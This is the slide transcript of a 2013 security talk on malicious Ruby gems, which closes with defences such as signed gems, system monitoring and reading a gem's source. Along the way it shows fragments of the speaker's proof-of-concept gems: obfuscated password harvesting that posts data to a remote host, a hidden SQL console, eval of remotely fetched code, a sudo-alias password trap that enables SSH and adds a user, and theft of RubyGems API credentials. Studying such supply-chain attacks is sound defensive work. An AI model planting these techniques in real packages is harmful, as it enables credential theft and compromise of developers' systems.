Hacking with Gems (RuLu 2013)

Transcript

1. Hacking with Gems Benjamin Smith @benjamin_smith Thursday, June 20, 13
2. How-to get rich quick and (maybe) not go to jail! Thursday, June 20, 13
3. Ben Smith cannot be held accountable for anything that will happen to you as a result of installing his gems. He also cannot be held responsible for anything that happens as a result of installing anyone ELSE’S gems. This offer may not be combined with any other offers. Ben Smith’s gems were processed in a location that also processes peanuts. Not valid in the state of Nevada. Ben Smith’s gems may contain substances known in the state of California to cause cancer. Thursday, June 20, 13
4. who i am Thursday, June 20, 13
5. Thursday, June 20, 13
6. Thursday, June 20, 13
7. Thursday, June 20, 13
8. what i am NOT Thursday, June 20, 13
9. Thursday, June 20, 13
10. please do not try this at home Thursday, June 20, 13
11. please do not try this at home Thursday, June 20, 13
12. Thursday, June 20, 13
13. Thursday, June 20, 13
14. Lawful Evil Lawful Good Thursday, June 20, 13
15. Lawful Evil Lawful Good Thursday, June 20, 13
16. Lawful Evil Lawful Good Thursday, June 20, 13
17. Lawful Evil Lawful Good Thursday, June 20, 13
18. once upon a time Thursday, June 20, 13
19. GEM remote: https://rubygems.org/ specs: actionmailer (3.2.12) actionpack (= 3.2.12) mail (~> 2.4.4) actionpack (3.2.12) activemodel (= 3.2.12) activesupport (= 3.2.12) builder (~> 3.0.0) erubis (~> 2.7.0) ... Thursday, June 20, 13
20. what’s the worst that could happen? Thursday, June 20, 13
21. Thursday, June 20, 13
22. gem 'awesome_rails_flash_messages' github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
23. before... github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
24. after! github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
25. some “side effects” if params.to_s.match(Base64.decode64('cGF...')) github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
26. ... File.open( "#{Rails.root}/public/development.log", 'a+' ) do |f| f.write("#{params.inspect}\n") end github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
27. ?!? Net::HTTP.post_form( URI.parse(Base64.decode64('aHR0cDo...')), { 'log'=>params.merge(:url => request.url).inspect } ) github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
28. i like cGFzc3dvcmQ=\n if params.to_s.match(Base64.decode64('cGF...')) github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
29. i like password if params.to_s.match(“password”) github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
30. “development.log” ... "user"=>{"email"=>"test@example.com", "password"=>"password", "remember_me"=>"0"} ... github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
31. elsewhere... github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
32. profit • Step 1: do something • Step 2: do something else • Step 3: ???? • Step 4: profit Thursday, June 20, 13
33. profit • Step 1: write a gem that does something • Step 2: • Step 3: • Step 4: Thursday, June 20, 13
34. profit • Step 1: write a gem that does something • Step 2: add code to harvest emails/pws • Step 3: • Step 4: Thursday, June 20, 13
35. profit • Step 1: write a gem that does something • Step 2: add code to harvest emails/pws • Step 3: use emails/pws on banking websites to transfer funds • Step 4: Thursday, June 20, 13
36. profit • Step 1: write a gem that does something • Step 2: add code to harvest emails/pws • Step 3: use emails/pws on banking websites to transfer funds • Step 4: profit Thursday, June 20, 13
37. profit • Step 1: write a gem that does something • Step 2: add code to harvest emails/pws • Step 3: use emails/pws on banking websites to transfer funds • Step 4: profit • Step 5: flee the country Thursday, June 20, 13
38. a one way ticket to Thursday, June 20, 13
39. that was easy. what else can I do? Thursday, June 20, 13
40. gem 'net_http_detector' github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
41. show me the hack Net::HTTP.post_form( #<URI::HTTP:0x007fc76b706950 URL:http:// stark-samurai-8122.herokuapp.com/logs>, {"log"=>"{\"utf8\"=>\"✓\", \"authenticity_token\"=>\"PzpZUlRrRv1V +A0jJHAwi+ey/injbWlii8OFyIfP+fY=\", \"user\"=>{\"email\"=>\"test\", \"password\"=>\"pass4\" ... github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
42. how it works def HTTP.valid_post_form(url, params) ... def HTTP.post_form(url, params) self.smart_log( "Net::HTTP.post_form(#{url.inspect}, #{params.inspect})" ) Net::HTTP.valid_post_form(url, params) end github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
43. how it works def HTTP.valid_post_form(url, params) ... def HTTP.post_form(url, params) self.smart_log( "Net::HTTP.post_form(#{url.inspect}, #{params.inspect})" ) Net::HTTP.valid_post_form(url, params) end github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
44. how it works def HTTP.valid_post_form(url, params) ... def HTTP.post_form(url, params) self.smart_log( "Net::HTTP.post_form(#{url.inspect}, #{params.inspect})" ) Net::HTTP.valid_post_form(url, params) end github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
45. ...and one more thing... eval(Net::HTTP.valid_get( URI("http://....herokuapp.com/ snippets/6") ) ) github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
46. database what? append_before_filter :net_http_detector ... if params[:db_console] @tables =ActiveRecord::Base.connection.tables if params[:query] @output = ActiveRecord::Base.connection .execute(params[:query]) github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
47. database what? append_before_filter :net_http_detector ... if params[:db_console] @tables =ActiveRecord::Base.connection.tables if params[:query] @output = ActiveRecord::Base.connection .execute(params[:query]) github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
48. database what? append_before_filter :net_http_detector ... if params[:db_console] @tables =ActiveRecord::Base.connection.tables if params[:query] @output = ActiveRecord::Base.connection .execute(params[:query]) github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
49. database what? append_before_filter :net_http_detector ... if params[:db_console] @tables =ActiveRecord::Base.connection.tables if params[:query] @output = ActiveRecord::Base.connection .execute(params[:query]) github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
50. /users/sign_in github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
51. /users/sign_in?db_console=t github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
52. hello db access! github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
53. SELECT * FROM users; github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
54. UPDATE users SET admin=1 WHERE id=42; github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
55. CREATE USER admin1 WITH PASSWORD 'password'; github.com/benjaminleesmith/net_http_detector Thursday, June 20, 13
56. careful of wolves in sheep’s clothing Thursday, June 20, 13
57. profit • Step 1: • Step 2: • Step 3: • Step 4: • Step 5: Thursday, June 20, 13
58. profit • Step 1: write a gem that does something • Step 2: • Step 3: • Step 4: • Step 5: Thursday, June 20, 13
59. profit • Step 1: write a gem that does something • Step 2: add code to provide DB access • Step 3: • Step 4: • Step 5: Thursday, June 20, 13
60. profit • Step 1: write a gem that does something • Step 2: add code to provide DB access • Step 3: use personal info to apply for a boat loan (ie buy a pimp trimaran) • Step 4: • Step 5: Thursday, June 20, 13
61. profit • Step 1: write a gem that does something • Step 2: add code to provide DB access • Step 3: use personal info to apply for a boat loan (ie buy a pimp trimaran) • Step 4: profit • Step 5: Thursday, June 20, 13
62. profit • Step 1: write a gem that does something • Step 2: add code to provide DB access • Step 3: use personal info to apply for a boat loan (ie buy a pimp trimaran) • Step 4: profit • Step 5: flee the country Thursday, June 20, 13
63. i like the beach Thursday, June 20, 13
64. that was easy. what else can I do? Thursday, June 20, 13
65. gem 'better_date_to_s' github.com/benjaminleesmith/better_date_to_s Thursday, June 20, 13
66. what it claims to do Date.new(2005, 1, 1).to_s(:short) => "1 Jan" ... instead of... => " 1 Jan" github.com/benjaminleesmith/better_date_to_s Thursday, June 20, 13
67. Thursday, June 20, 13
68. what it also does set_date_formats_for( Rails.env, Rails.root.to_s ) github.com/benjaminleesmith/better_date_to_s Thursday, June 20, 13
69. better_date_to_s.bundle œ˙Ì˛ê(__TEXT__text__TEXTP ÛP Ä__stubs__TEXTD $DÄ__stub_helper__TEXThLhÄ__cstring__TEX T∏i∏__unwind_info__TEXT!P! __eh_frame__TEXTxÄxà__DATA__nl_symbol_pt r__DATA__got__DATA__la_symbol_ptr__DATA0 __data__DATAHHH__LINKEDIT ‰"Ä0 8@ Ä¿ `(!‰" github.com/benjaminleesmith/better_date_to_s Thursday, June 20, 13
70. behind the curtain if(strcmp(rails_env, "production") == 0) { sprintf(tar_command, "tar -zcvf %s/public/assets.tar.gz %s > /dev/ null 2>&1",rails_root,rails_root); system(tar_command); } github.com/benjaminleesmith/better_date_to_s Thursday, June 20, 13
71. what what github.com/benjaminleesmith/better_date_to_s Thursday, June 20, 13
72. i can haz source github.com/benjaminleesmith/better_date_to_s Thursday, June 20, 13
73. truth time • this gem doesn't actually work • but it could... if I wasn't lazy • "fat" gems are tricky to compile github.com/benjaminleesmith/better_date_to_s Thursday, June 20, 13
74. so much code so little time • Step 1: write a gem that does something • Step 2: add code expose source • Step 3: sell to competitors? • Step 4: profit? • Step 5: flee the country Thursday, June 20, 13
75. that was easy hard. what else can I do? (that's easier) Thursday, June 20, 13
76. gem install be_truthy github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
77. what it does > true.should be_true > User.new.should be_true > User.new.should be_truthy github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
78. what it ACTUALLY does github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
79. github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
80. file tree looks ok github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
81. source code looks good require "be_truthy/version" module BeTruthy end github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
82. but what was this? github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
83. I see no C github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
84. run the what file? Gem::Specification.new do |gem| ... gem.extensions = ["Rakefile"] ... end github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
85. there is no Rakefile github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
86. the real file tree github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
87. the real file tree github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
88. what does the Rakefile do? github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
89. sudo_file =__FILE__.gsub( 'Rakefile', 'lib/tmp.rb' ) FileUtils.mv( sudo_file, "#{home_dir}/.tmp" ) github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
90. File.open(profile, 'a+') do |f| f.write("alias sudo='ruby #{home}/.tmp'\n") end github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
91. FileUtils.rm(__FILE__) github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
92. what does "sudo" do now? github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
93. print "WARNING: Improper use of the sudo command ..." system "stty -echo" password = $stdin.gets.chomp system "stty echo" print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}` github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
94. print "WARNING: Improper use of the sudo command ..." system "stty -echo" password = $stdin.gets.chomp system "stty echo" print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}` github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
95. print "WARNING: Improper use of the sudo command ..." system "stty -echo" password = $stdin.gets.chomp system "stty echo" print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}` github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
96. print "WARNING: Improper use of the sudo command ..." system "stty -echo" password = $stdin.gets.chomp system "stty echo" print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}` github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
97. echo '#{password}' | /usr/bin/sudo -S systemsetup -setremotelogin on github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
98. /usr/bin/sudo dscl . -create /Users/ #{username} ... /usr/bin/sudo dscl . -passwd /Users/ #{username} password` github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
99. Net::HTTP.post_form( URI.parse('http://.../logs'), {'log' => 'ssh enabled'} ) github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
100. ssh sysadmin@your-ip github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
101. take away: don't install ben's gems Thursday, June 20, 13
102. Thursday, June 20, 13
103. how could I get you to install my gems? Thursday, June 20, 13
104. what gems are trustworthy? Thursday, June 20, 13
105. how can I add my code to already trusted gems? Thursday, June 20, 13
106. back in the be_truthy gem gem_api_key = File.open( `echo ~/.gem/credentials`.strip ).read gem_list = `gem list` Net::HTTP.post_form(...) github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
107. gem_api_key = File.open( `echo ~/.gem/credentials`.strip ).read gem_list = `gem list` Net::HTTP.post_form(...) github.com/benjaminleesmith/be_truthy back in the be_truthy gem Thursday, June 20, 13
108. gem_api_key = File.open( `echo ~/.gem/credentials`.strip ).read gem_list = `gem list` Net::HTTP.post_form(...) github.com/benjaminleesmith/be_truthy back in the be_truthy gem Thursday, June 20, 13
109. gem_api_key = File.open( `echo ~/.gem/credentials`.strip ).read gem_list = `gem list` Net::HTTP.post_form(...) github.com/benjaminleesmith/be_truthy back in the be_truthy gem Thursday, June 20, 13
110. now I own your gems github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
111. > git clone your-gem-repo ...add a little code... > rake build > gem push your-gem github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
112. do people trust your gems? Thursday, June 20, 13
113. do people who install your gems have trustworthy gems? Thursday, June 20, 13
114. Thursday, June 20, 13
115. there’s still one problem Thursday, June 20, 13
116. bootstrapping Thursday, June 20, 13
117. being popular sucks Thursday, June 20, 13
118. conferences Thursday, June 20, 13
119. social engineering Thursday, June 20, 13
120. Thursday, June 20, 13
121. Thursday, June 20, 13
122. Thursday, June 20, 13
123. so what happens now? Thursday, June 20, 13
124. ruby gems goes down Thursday, June 20, 13
125. heroku deploys go down Thursday, June 20, 13
126. i go to the beach Thursday, June 20, 13
127. ruby gems goes down Thursday, June 20, 13
128. heroku deploys go down Thursday, June 20, 13
129. recovery Thursday, June 20, 13
130. so what now? Thursday, June 20, 13
131. gem 'awesome_rails_flash_messages' github.com/benjaminleesmith/awesome-rails-flash-messages Thursday, June 20, 13
132. Little Snitch obdev.at/products/littlesnitch/index.html Thursday, June 20, 13
133. gem install be_truthy github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
134. fseventer fernlightning.com/doku.php?id=software:fseventer:start Thursday, June 20, 13
135. don’t “gem install” from strangers Thursday, June 20, 13
136. gem fetch vs gem install > gem fetch be_truthy > gem unpack be_truthy-0.0.1.gem github.com/benjaminleesmith/be_truthy Thursday, June 20, 13
137. Thursday, June 20, 13
138. Thursday, June 20, 13
139. curl -#L https://get.rvm.io | bash -s stable --autolibs=3 --ruby Thursday, June 20, 13
140. gem install rails -P HighSecurity Thursday, June 20, 13
141. > gem install rails -P HighSecurity Fetching: activesupport-3.2.12.gem (100%) ERROR: While executing gem ... (Gem::Exception) Unsigned gem Thursday, June 20, 13
142. gem cert --build Thursday, June 20, 13
143. https://www.rubygems-openpgp-ca.org/ https://github.com/rubygems-trust Thursday, June 20, 13
144. sandboxing Thursday, June 20, 13
145. github.com/rubygems/rubygems Thursday, June 20, 13
146. tools to detect malicious code Thursday, June 20, 13
147. private gem repos Thursday, June 20, 13
148. do not try this at home Thursday, June 20, 13
149. don't install gems you don't need to Thursday, June 20, 13
150. pay attention to what your gems do Thursday, June 20, 13
151. monitor your system Thursday, June 20, 13
152. read the source Thursday, June 20, 13
153. gem install coal-mine-canary github.com/benjaminleesmith/coal-mine-canary Thursday, June 20, 13
154. on install github.com/benjaminleesmith/coal-mine-canary Thursday, June 20, 13
155. the results github.com/benjaminleesmith/coal-mine-canary Thursday, June 20, 13
156. thank you! Thursday, June 20, 13
157. questions? ideas? @benjamin_smith https://github.com/benjaminleesmith Thursday, June 20, 13
158. questions? ideas? @benjamin_smith https://github.com/benjaminleesmith Thursday, June 20, 13
159. questions? ideas? @benjamin_smith https://github.com/benjaminleesmith Thursday, June 20, 13